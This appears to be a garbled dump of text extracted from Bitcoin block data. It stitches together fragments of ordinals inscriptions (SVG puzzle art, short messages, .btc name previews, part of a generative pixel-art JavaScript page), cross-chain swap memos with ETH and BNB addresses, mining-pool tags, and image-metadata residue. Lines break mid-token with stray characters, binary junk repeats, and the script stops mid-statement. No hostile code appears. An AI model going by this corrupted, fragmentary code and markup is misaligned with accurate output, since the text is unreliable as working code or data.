267-0.1288,15.3345-2.4577,15.3345-2.4577c2.5862,2.315,4.6453,5.2066,5.9755,8.4727 c0,0,10.5948-8.3618,2.2954-15.1052c0,0-4.0069-3.8593-10.0363,1.6462c0,0-3.8861,3.6651-13.5691,3.706 c-9.683-0.0409-13.5691-3.706-13.5691-3.706c-6.0294-5.5055-10.0363-1.6462-10.0363-1.6462 C4.0952,20.9685,14.69,29.3303,14.69,29.3303c1.3301-3.2661,3.3893-6.1577,5.9755-8.4727 C20.6655,20.8576,26.733,23.1866,36,23.3153z"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-wM
idth="2" d="M36,19.5773c6.0519-0.0256,9.767-1.4279,11.7566-2.5053c0,0-1.6341-0.5702-1.3904-2.7816c0.0725-0.6576,0.3541-1.6277,0.7107-2.549 c0.6391-1.651,0.1938-2.9689-4.1138-5.1348c0,0-2.0825-1.0407-2.8202-1.2739C39.0599,4.9904,37.209,4.7124,36,6.1508 c-1.209-1.4384-3.0599-1.1604-4.1428-0.8181c-0.7377,0.2332-2.8202,1.2739-2.8202,1.2739 c-4.3076,2.1659-4.7529,3.4838-4.1138,5.1348c0.3566,0.9213,0.6382,1.8914,0.7107,2.549c0.2437,2.2114-1.3904,2.7816-1.3904,2.7816 C26.233,18.1494,29.9481,19.5517,36,19.5773L36,19.5773z"M
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M50.595,43.64 c0.012,1.5397-0.2838,3.0662-0.87,4.49c-12.49,3.03-25.43,0.34-27.49-0.13c-0.5588-1.3852-0.8407-2.8664-0.83-4.36h0.11 c0,0,14.8,3.59,28.89,0.07L50.595,43.64z"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M49.7251,48.13 c-1.79,4.27-6.35,7.23-13.69,7.23c-7.41,0-12.03-3.03-13.8-7.36C24.2951,48.47,37.235,51.16,49.7251,48.13z"/>
D\ terrapool.io block mined by clean energy \
4j213/Feb/2023 Happy birthday, Uliana ! btcusd$21700
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
DjB=:ETH.ETH:0x0B0c819DEa53ac43e0CD29E6cAe2d9b13A232c57:55582264:t:30
text/plain;charset=utf-8
4fffffffffffffffffffffffffffffffffJM
eUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUT
""""""""""""""""""""""""""""!
vffffffffffffffffffffffffffffc
zUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUV
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDCp
FjDOUT:13B232F20FD3C157886853464207FA46DC3CCC5F9AF3F25207EC9B2750C7119C
FjDOUT:5D57B6B021DB5662C5F4C11439127737C3B90B704576DA213C0E4CF3758A2C81
FjDOUT:0FAE668F695E80B7755EDF6B4AA9A7BF4175103665A8C181644AE4499DB91C26
FjDOUT:619722AE96ECE7A7BD2826AA5D7A37F047C627729A8F9ED879F91158D9330C55
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0062/4096 1,1,0,3,0 ~0.006172249326482415-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#36EEE0" points="0,8 4,5 4,5 0,0 "/>
<polyline fill="#36EEE0" points="8,0 7,2 7,4 8,8 "/>
<polyline fill="#52F6A8" points="8,8 2,6 4,6 0,8 "/>
<polyline fill="#F2F652" points="0,0 1,1 4,4 8,0 "/>
Aj?=:ETH.ETH:0xD6dDa0fc3c6cd1Da4be8a7fdDd4695176E756d7d:1869473::0
c/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
text/plain;charset=utf-8
IjGREFUND:419E4EA01CA3E0148B21821C8642488061BD96B479E2F6897FBB54BFD677E6C4
FjDOUT:3CE44961C4D488EC4BD909A07418D11ACA459C6DEFCBDC5D202F4D028992FE16
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0063/4096 0,3,3,2,1 ~0.8597286536823958-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#9296A0" width="100%" height="100%"/>
<polyline fill="#52F6A8" points="0,8 5,4 5,4 0,0 "/>
<polyline fill="#F2F652" points="8,0 7,1 6,2 8,8 "/>
<polyline fill="#F2F652" points="8,8 7,7 6,7 0,8 "/>
<polyline fill="#F652A0" points="0,0 3,4 4,4 8,0 "/>
text/plain;charset=utf-8
"Only two things are infinite, the universe and human stupidity, and I'm not sure about the former." ~ Albert Einstein
Inscribed 13.02.2023
FjDOUT:2317174754E5CB4F755594780EEB198FBC75C255971807340AD2889E6C1E3AD7
FjDOUT:D55DC05E58C19A502D1C262E49B5DC526B3A713B0DAA646EC262EDAC82E047F1
FjDOUT:5A421DBFB139E9B1668700CEEF0FE3F5D43DC3CDE80ED14EC65AD61BB381E5A2
FjDOUT:F532698E71A5783AAFC1103835B2CC9C8D285E92DDB11B8000F39DBDB8F6CF63
text/plain;charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0064/4096 3,3,3,3,0 ~0.5067296256311238-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#F2F652" points="0,8 6,4 6,4 0,0 "/>
<polyline fill="#F2F652" points="8,0 7,4 7,4 8,8 "/>
<polyline fill="#F2F652" points="8,8 2,1 3,4 0,8 "/>
<polyline fill="#F2F652" points="0,0 1,7 2,7 8,0 "/>
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
YiTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
text/plain;charset=utf-8
text/plain;charset=utf-8
YiTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
 0"%"%"0I.5..5.IAN@;@NAt[QQ[t
 0"%"%"0I.5..5.IAN@;@NAt[QQ[t
text/plain;charset=utf-8
That's what she said!h!
#KzTXtRaw profile type exif
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
    xmlns:dc="http://purl.org/dcM
    xmlns:GIMP="http://www.gimp.org/xmp/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
   xmpMM:DocumentID="gimp:docid:gimp:6fd76207-bf65-47cf-a343-295d3e1b0792"
   xmpMM:InstanceID="xmp.iid:67b969c9-d4b5-436b-b15e-6d422e0ae481"
   xmpMM:OriginalDocumentID="xmp.did:d97421a7-08c7-4a50-8f02-a0c7a0b8d108"
   dc:Format="image/png"
   GIMP:Platform="Linux"
   GIMP:TimeStamp="1676224236464998"
   GIMP:Version="2.10.30"
   tiff:Orientation="1M
   xmp:CreatorTool="GIMP 2.10">
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:9f3e495b-e342-4f10-88b1-d9f22ae1be4a"
      stEvt:softwareAgent="Gimp 2.10 (Linux)"
      stEvt:when="2023-02-12T18:50:36+01:00"/>
  </rdf:Description>

                                            M





                                                           M





                                                                          M





                                                                                         M




Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
,B)0))0)B;G:6:G;iSIISizfafz
,B)0))0)B;G:6:G;iSIISizfafz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
      xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <exif:PixelYDimension>327</exif:PixelYDimension>
         <exif:PixelXDimension>448</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
      </rdf:Description>
@j>=:BNB.BNB:bnb14elnydtmdfw3sjmgyj4f6m4g656je8s9wfql4j:921306::0
?j==:ETH.ETH:0x2B640536817C5C63B36d3CCfAc0da169268b3708:11716::0
Bj@=:ETH.ETH:0xE40442132F3BC39496b44daB6ebaE132Ab216974:10859330::0
Bj@=:ETH.ETH:0xC56478efb4E3202af557adbaA7388fff8C29dBE8:16789100::0
Bj@=:ETH.ETH:0xF0E1bb873d08cC938D7dD3584A2c9AD104867782:63337389::0
Bj@=:ETH.ETH:0xE39D0C883314aac5f036DCc84359B8E0dB16Fd69:72044527::0
text/html;charset=utf-8
    <meta charset=utf-8>
    <meta name=format-detection content='telephone=no'>
    <link href=/static/preview-text.css rel=stylesheet>
    <script src=/static/preview-text.js defer></script>
    <pre>huh.btc</pre>
      <pre>nike.btc</pre>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
!2$'$'$2M080080MDRC>CRDz_UU_z
!2$'$'$2M080080MDRC>CRDz_UU_z
)-1"(.3.++3;821a]YO?>g`[
CjA=:BNB.BNB:bnb1dy34crysgdv4r5j4mzvrzqcmtwmht5j6c9epgt:1403383:te:0
text/html;charset=utf-8
<!doctype html><html><head></head><body><script>var H="0x159d93";var N="Sylphic";var Y="Smooth";var E="Normal";var G="Stellar";var D="UpsideDown";var V=2;var F=225;var C=9;var UG=false;var L=["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000003333003333003333003333000000000000000000000","0000000000000000000003333003333003333003333000000000000000000000","00000000000000000000000330000330000330000330000000000000000M
00000","0000000000000000000000033000033000033000033000000000000000000000","0000000000000000000000033003333003333003300000000000000000000000","0000000000000000000000033003333003333003300000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000110000001111000000000000000000000000","0000000000000000000000000000110000001111000000000000000000000000","0000000000000000000000112222222222221111001M
100000000000000000000","0000000000000000000000112222222222221111001100000000000000000000","0000000000000000000011222211111111112222220011000000000000000000","0000000000000000000011222211111111112222220011000000000000000000","0000000000000000001111221111110000000000112200110000000000000000","0000000000000000001111221111110000000000112200110000000000000000","0000000000000000112211111122222211222211001122110000000000000000","0000000000000000112211111122222211222211001122110000000000000000","000000000000000011111111111M
1111122111122221111000000000000000000","0000000000000000111111111111111122111122221111000000000000000000","0000000000000000001111666666001111221111112211110000000000000000","0000000000000000001111666666001111221111112211110000000000000000","0000000000000000001166666655550000002222111111000000000000000000","0000000000000000001166666655550000002222111111000000000000000000","0000000000000000001166666666555555550000222211000000000000000000","0000000000000000001166666666555555550000222211000000000000000000","00000000000M
00000005555556666665555666666000000000000000000000000","0000000000000000005555556666665555666666000000000000000000000000","0000000000000000005555005555666666665555005555000000000000000000","0000000000000000005555005555666666665555005555000000000000000000","0000000000000000005500000000556666550000000055000000000000000000","0000000000000000005500000000556666550000000055000000000000000000","0000000000000000005500445500006666000044550055000000000000000000","00000000000000000055004455000066660000445500550000000000000000M
00","0000000000000000005500444422555555550044440055000000000000000000","0000000000000000005500444422555555550044440055000000000000000000","0000000000000000006666002255552222555500006655000000000000000000","0000000000000000006666002255552222555500006655000000000000000000","0000000000000000000066666655550000555566666600000000000000000000","0000000000000000000066666655550000555566666600000000000000000000","0000000000000000000000666655000000005566660000000000000000000000","0000000000000000000000666655000000005566660000M
000000000000000000","0000000000000000000055006666005555006666005500000000000000000000","0000000000000000000055006666005555006666005500000000000000000000","0000000000000000000055000066665555666600005500000000000000000000","0000000000000000000055000066665555666600005500000000000000000000","0000000000000000000000220000550000550000225500000000000000000000","0000000000000000000000220000550000550000225500000000000000000000","0000000000000000000000550000000000000000550000000000000000000000","000000000000000000000055000000M
0000000000550000000000000000000000","0000000000000000000000005500000000000055000000000000000000000000","0000000000000000000000005500000000000055000000000000000000000000","0000000000000000000000220022002222002200220000000000000000000000","0000000000000000000000220022002222002200220000000000000000000000","0000000000000000000000220000666666660000220000000000000000000000","0000000000000000000000220000666666660000220000000000000000000000","0000000000000000004400552200000000000022550044000000000000000000","00000000000000M
00004400552200000000000022550044000000000000000000","0000000000000000444400550055000000005500550044440000000000000000","0000000000000000444400550055000000005500550044440000000000000000","0000000000000044444400550000550000550000550044444400000000000000","0000000000000044444400550000550000550000550044444400000000000000"];var P=["051200","0d3f0a","a3ff6f","227717"];for(var TH="",i=0;8>i;i++)TH+=H.substr(2,6);H="0x"+TH;for(var PC=64,MT=50,PI=Math.PI,TAU=2*PI,abs=Math.abs,min=Math.min,max=Math.max,sin=Math.sin,cos=Math.M
cos,pow=Math.pow,sqrt=Math.sqrt,ceil=Math.ceil,floor=Math.floor,rm=null,wW=0,wH=0,cS=1,canvas=null,ctx=null,styleSheet=null,styleSheet=null,L2=1<V,BC2=[{x:.5,y:.5},{x:.75,y:0}],BC3=[{x:.65,y:.15},{x:.5,y:.5},{x:.75,y:.75}],BC4=[{x:.5,y:0},{x:0,y:.5},{x:.5,y:1},{x:1,y:.5}],BC5=[{x:.5,y:.5},{x:.5,y:0},{x:0,y:.5},{x:.5,y:1},{x:1,y:.5}],BC6=[{x:.5,y:.5},{x:.5,y:0},{x:1,y:0},{x:1,y:1},{x:0,y:1},{x:0,y:0}],BC=[,,BC2,BC3,BC4,BC5,BC6],gvy=null,pxS=C/1e3,TS=TAU/127.5,DLO=.5+.5*F/1e3,DMD=1e3+19e3*F/1e3,DHI=8+24*F/1e3,RFOP=80M
0<=F?.5+.5*(F-800)/199:0,wST=0,wS=[],wSE=0,eL=[],cPC=P.length,cP=[],pI=0,plC=BC[cPC],iFR=!0,dt=0,pvT=0,iPs=!1,iPt=!1,iEs=!1,iBx=!1,bxS=null,pB=9,pP=Array(PC),x=0;x<PC;x++){pP[x]=Array(PC);for(var y=0;y<PC;y++)pP[x][y]=0}if(L&&L.length===PC)for(var y=0;y<PC;y++)for(var row,x=0;x<PC;x++)row=""+L[y],pP[x][y]=+row.charAt(x);var sp=0;"Zen"==E&&(sp=256),"Tranquil"==E&&(sp=64),"Normal"==E&&(sp=16),"Fast"==E&&(sp=4),"Swift"==E&&(sp=2),"Hyper"==E&&(sp=.5);var sM=SD,sV=-1,sSS=1/3;"Pajamas"==Y&&(sM=SS,sSS=1/99),"Silk"==Y&&(sMM
=SS,sSS=1/3),"Sketch"==Y&&(sM=SRS);function SD(c,a){return c.distance-a.distance}function SS(){var a=sV;return sV+=sSS,2<=sV&&(sV-=3),a}function SRS(){var a=sV;return sV+=1/(rm()*PC),2<=sV&&(sV-=3),a}var flipX=!("Mirrored"!=D&&"MirroredUpsideDown"!=D),flipY=!("UpsideDown"!=D&&"MirroredUpsideDown"!=D),gv=3;"Lunar"==G&&(gv=.5),"Atmospheric"==G&&(gv=1),"Low"==G&&(gv=2),"High"==G&&(gv=6),"Massive"==G&&(gv=9),"Stellar"==G&&(gv=12),"Galactic"==G&&(gv=24);var ess={l:[]};"Heavenly"==N&&(ess={c:{r:{o:64},g:{o:64},b:{o:32}},M
l:[{st:{x:.006},n:{s:.006,d:128,c:.024,xp:.5},op:.4},{st:{x:-.007},n:{s:.007,d:128,c:.022,xp:.5},op:.6},{st:{y:.008},n:{s:.008,d:128,c:.02,xp:.5},op:.8},{st:{y:-.009},n:{s:.009,d:128,c:.018,xp:.5},op:1}]}),"Fae"==N&&(ess={l:[{c:{a:{o:16,e:-96}},st:{x:.002,y:-.017},op:.75,sc:1},{c:{a:{o:-16,e:96}},st:{x:-.001,y:-.015},op:.9,sc:1},{c:{a:{o:52,e:8}},st:{x:-.01,y:-.03},op:.9,n:{s:.02,d:64,c:.015,xp:2}}]}),"Prismatic"==N&&(ess={l:[{c:{r:{o:-64,e:128},g:{o:-64,e:128},b:{o:-32,e:64}},op:.75,n:{s:.001,d:1024,c:.001,xp:1}},M
{c:{r:{o:-64,e:255},g:{o:-64,e:255},b:{o:-32,e:128}},op:.25,n:{s:.001,d:1024,c:.001,xp:1}}]}),"Radiant"==N&&(ess={c:{r:{o:60,e:80},g:{o:60,e:80},b:{o:40,e:60}},l:[{op:1,n:{s:3e-4,d:40,c:.0014,xp:1}}]}),"Photonic"==N&&(ess={c:{a:{o:-64,e:140}},l:[{op:1,n:{s:.01,d:9999,c:.001,xp:3}},{op:1,n:{s:.009,d:9999,c:.001,xp:3}},{op:1,n:{s:.008,d:9999,c:.001,xp:3}},{op:1,n:{s:.007,d:9999,c:.001,xp:3}},{op:1,n:{s:.006,d:9999,c:.001,xp:3}},{op:1,n:{s:.005,d:9999,c:.001,xp:3}}]}),"Forest"==N&&(ess={c:{r:{o:-16,e:96},g:{o:-16,e:96M
},b:{o:16,e:-96}},l:[{st:{x:.002,y:-.014},op:.4,sc:1},{st:{x:-.001,y:-.012},op:.4,sc:1},{c:{r:{o:96,e:8},g:{o:128,e:8},b:{o:32,e:8}},st:{y:-.05},op:.3,n:{s:.02,d:1024,c:.006,xp:1}}]}),"Life"==N&&(ess={st:{x:-.006},c:{r:{o:-6,e:12},g:{o:-48,e:128},b:{o:-6,e:12}},l:[{op:.1,n:{s:.06,d:32,c:.03,xp:1}},{op:.3,n:{s:.03,d:32,c:.05,xp:2}},{op:.5,n:{s:.02,d:32,c:.07,xp:3}}]}),"Swamp"==N&&(ess={l:[{c:{r:{o:-192},b:{o:32,e:128}},st:{x:.005,y:.005},op:.8,sc:1},{c:{r:{o:-128,e:-64},g:{o:-64,e:128},b:{o:-64,e:-64}},op:1,n:{s:0,dM
:256,c:.04,xp:2}}]}),"Wildblood"==N&&(ess={c:{r:{o:128,e:128},g:{o:-64,e:32},b:{o:-64,e:32}},l:[{op:.3,n:{s:.002,d:64,c:.075,xp:1}},{op:.3,n:{s:.003,d:64,c:.015,xp:2}},{op:.3,n:{s:.004,d:64,c:.0023,xp:3}}]}),"Soul"==N&&(ess={n:{s:.25,d:128,c:.01,xp:3},l:[{c:{r:{o:200},g:{o:-100},b:{o:-100}},st:{x:-.005,y:-.015},op:1/3},{c:{r:{o:-100},g:{o:200},b:{o:-100}},st:{x:.005,y:-.015},op:1/3},{c:{r:{o:-100},g:{o:-100},b:{o:200}},st:{x:0,y:-.03},op:1/3}]}),"Magic"==N&&(ess={n:{s:.05,d:128,c:.015,xp:.5},l:[{c:{r:{o:200},b:{o:-M
200}},st:{x:-.02},op:1/3},{c:{r:{o:-200},g:{o:200}},st:{y:-.02},op:1/3},{c:{g:{o:-200},b:{o:200}},st:{x:.02},op:1/3}]}),"Astral"==N&&(ess={c:{r:{o:-64,e:96},g:{o:-64,e:64},b:{o:-64,e:96}},l:[{op:.33,n:{s:.003,d:512,c:.003,xp:1}},{op:.33,n:{s:.003,d:512,c:.003,xp:1}},{op:.33,n:{s:.003,d:512,c:.003,xp:1}},{op:.33,n:{s:.003,d:512,c:.003,xp:1}},{op:.33,n:{s:.003,d:512,c:.003,xp:1}},{op:.33,n:{s:.003,d:512,c:.003,xp:1}}]}),"Forbidden"==N&&(ess={c:{r:{o:-64,e:32},g:{o:-64,e:32},b:{o:128,e:128}},l:[{op:.3,n:{s:.001,d:64,cM
:.1,xp:1}},{op:.3,n:{s:.002,d:64,c:.02,xp:2}},{op:.3,n:{s:.003,d:64,c:.003,xp:3}}]}),"Runic"==N&&(ess={st:{x:-.005,y:.025},c:{r:{o:-56,e:200},g:{o:-256},b:{o:200,e:56}},n:{noBlend:!0,s:.05,d:19,c:.019,xp:2},l:[{op:.9}]}),"Unknown"==N&&(ess={l:[{c:{a:{o:256}},st:{delay:2,x:.003},n:{s:.25,d:256,c:.01,xp:1},op:1},{c:{a:{o:-256}},st:{delay:1,y:-.006},n:{s:.5,d:256,c:.01,xp:1},op:1}]}),"Tidal"==N&&(ess={c:{r:{o:48},g:{o:48},b:{o:64}},l:[{st:{x:-.02,y:-.015},op:.25,n:{s:.025,d:44,c:.032,xp:2}},{st:{x:-.02,y:.015},op:.25,M
n:{s:.025,d:44,c:.032,xp:2}},{st:{x:-.04,y:-.03},op:.5,n:{s:.0125,d:44,c:.016,xp:1}},{st:{x:-.04,y:.03},op:.5,n:{s:.0125,d:44,c:.016,xp:1}}]}),"Arctic"==N&&(ess={c:{r:{o:-32,e:64},g:{o:-32,e:64},b:{o:64,e:196}},l:[{op:1,n:{s:2e-6,d:48,c:.0025,xp:1}},{op:.2,n:{s:1e-6,d:512,c:.0025,xp:1}}]}),"Storm"==N&&(ess={l:[{c:{b:{e:255}},st:{x:.04,y:.04},op:1,sc:1},{c:{b:{o:-64,e:128}},st:{x:.03,y:.03},op:1,sc:0},{c:{r:{o:64,e:8},g:{o:64,e:8},b:{o:96,e:8}},st:{x:.05,y:.05},op:.5,n:{s:.01,d:64,c:.008,xp:2}}]}),"Illuvial"==N&&(esM
s={c:{r:{o:48},g:{o:48},b:{o:64}},l:[{st:{x:.02,y:.025},op:.2,n:{s:.03,d:44,c:.096,xp:2}},{st:{x:.03,y:.025},op:.2,n:{s:.03,d:44,c:.096,xp:2}},{st:{x:.04,y:.05},op:.5,n:{s:.015,d:44,c:.048,xp:1}},{st:{x:.06,y:.05},op:.5,n:{s:.015,d:44,c:.048,xp:1}}]}),"Undine"==N&&(ess={l:[{c:{r:{e:64},g:{e:64},b:{o:32,e:64}},op:.5,n:{s:.01,d:4444,c:.001,xp:1}},{c:{r:{o:-16,e:-333},g:{o:-16,e:-333},b:{o:-16,e:-222}},op:1,n:{s:.008,d:222,c:1e-4,xp:3}}]}),"Mineral"==N&&(ess={l:[{c:{a:{o:-16,e:48}},op:1},{c:{a:{o:-8,e:24}},op:1}]}),"CM
raggy"==N&&(ess={c:{r:{o:-25,e:-45},g:{o:-35,e:-55},b:{o:-45,e:-65}},n:{s:0,d:240,c:.064,xp:.75},l:[{op:1}]}),"Dwarven"==N&&(ess={c:{r:{o:-75,e:-25},g:{o:-85,e:-35},b:{o:-95,e:-45}},n:{s:0,d:128,c:.016,xp:1},l:[{op:1}]}),"Gnomic"==N&&(ess={c:{r:{o:-25,e:-45},g:{o:-35,e:-55},b:{o:-45,e:-65}},n:{s:0,d:240,c:.0064,xp:.8},l:[{op:1}]}),"Crystal"==N&&(ess={c:{a:{o:-32,e:128}},l:[{op:1},{op:1}]}),"Sylphic"==N&&(ess={l:[{c:{a:{o:-48,e:96}},st:{x:.06},op:1},{c:{a:{o:-16,e:64}},st:{x:.03},op:1}]}),"Visceral"==N&&(ess={c:{r:{M
o:-48},g:{o:128},b:{o:-48}},l:[{st:{x:.09},op:.1,n:{s:.14,d:128,c:.02,xp:1}},{st:{x:.12},op:.1,n:{s:.16,d:256,c:.004,xp:2}},{st:{x:.15},op:.1,n:{s:.18,d:512,c:6e-4,xp:3}}]}),"Frosted"==N&&(ess={l:[{c:{a:{o:128}},st:{x:-.06,y:.01},op:.33},{c:{r:{o:128},g:{o:128},b:{o:255}},st:{x:-.04,y:.007},op:.33},{c:{a:{o:128,e:8}},st:{x:-.07,y:.015},op:.33,n:{s:.01,d:64,c:.008,xp:2}},{c:{a:{o:128,e:8}},st:{x:-.08,y:.016},op:.33,n:{s:.008,d:64,c:.008,xp:2}}]}),"Electric"==N&&(ess={st:{x:.002,y:-.01},c:{r:{o:-256},g:{o:200,e:56},bM
:{o:-56,e:200}},n:{noBlend:!0,s:.05,d:19,c:.019,xp:2},l:[{op:.9}]}),"Magnetic"==N&&(ess={l:[{c:{a:{o:-255}},st:{x:-.001,y:-.001},op:.5,n:{s:.0024,d:2,c:4,xp:6}},{c:{a:{o:255}},st:{x:.001,y:.001},op:.5,n:{s:.0018,d:2,c:4,xp:6}}]}),"Infernal"==N&&(ess={l:[{c:{r:{e:255}},st:{x:.006,y:-.03},op:1,sc:1},{c:{r:{o:-64,e:128}},st:{x:.003,y:-.015},op:1,sc:0}]}),"Molten"==N&&(ess={st:{x:.001,y:.001},c:{r:{o:200,e:56},g:{o:-128,e:256},b:{o:-256}},n:{noBlend:!0,s:0,d:20,c:.024,xp:1},l:[{op:.9}]}),"Ashen"==N&&(ess={l:[{c:{r:{o:2M
56,e:256},g:{o:128,e:128}},op:1,n:{s:.004,d:64,c:.03,xp:4}},{c:{r:{o:-512,e:256},g:{o:-512},b:{o:-512}},op:1,n:{s:.004,d:256,c:.02,xp:1}}]}),"Draconic"==N&&(ess={st:{x:-.005,y:.025},c:{r:{o:200,e:56},g:{o:-56,e:200},b:{o:-256}},n:{noBlend:!0,s:.05,d:19,c:.019,xp:2},l:[{op:.9}]}),"Celestial"==N&&(ess={st:{x:.004,y:.002},c:{a:{o:224,e:64}},n:{s:.02,d:50,c:.032,xp:2},l:[{op:1}]}),"Night"==N&&(ess={c:{r:{o:64},g:{o:-128},b:{o:64}},l:[{st:{x:-.03},op:.4,n:{s:.03,d:256,c:.01,xp:1}},{st:{y:-.02},op:.5,n:{s:.02,d:256,c:.01M
,xp:1}},{st:{x:-.015},op:.6,n:{s:.015,d:256,c:.01,xp:1}}]}),"Forgotten"==N&&(ess={st:{x:.006,y:.006},c:{a:{o:-512}},n:{s:.06,d:256,c:.01,xp:1},l:[{op:1}]}),"Abyssal"==N&&(ess={c:{r:{o:32,e:-512},g:{e:-512},b:{o:96,e:-512}},l:[{st:{x:-.03},op:.8,n:{s:.03,d:32,c:.005,xp:1}},{st:{y:-.02},op:.6,n:{s:.02,d:32,c:.005,xp:1}},{st:{x:.015},op:.4,n:{s:.015,d:32,c:.005,xp:1}},{st:{y:.0125},op:.2,n:{s:.0125,d:32,c:.005,xp:1}}]}),"Evil"==N&&(ess={c:{r:{o:96,e:-512},g:{e:-512},b:{o:32,e:-512}},l:[{st:{x:.01},op:.2,n:{s:.01,d:60,M
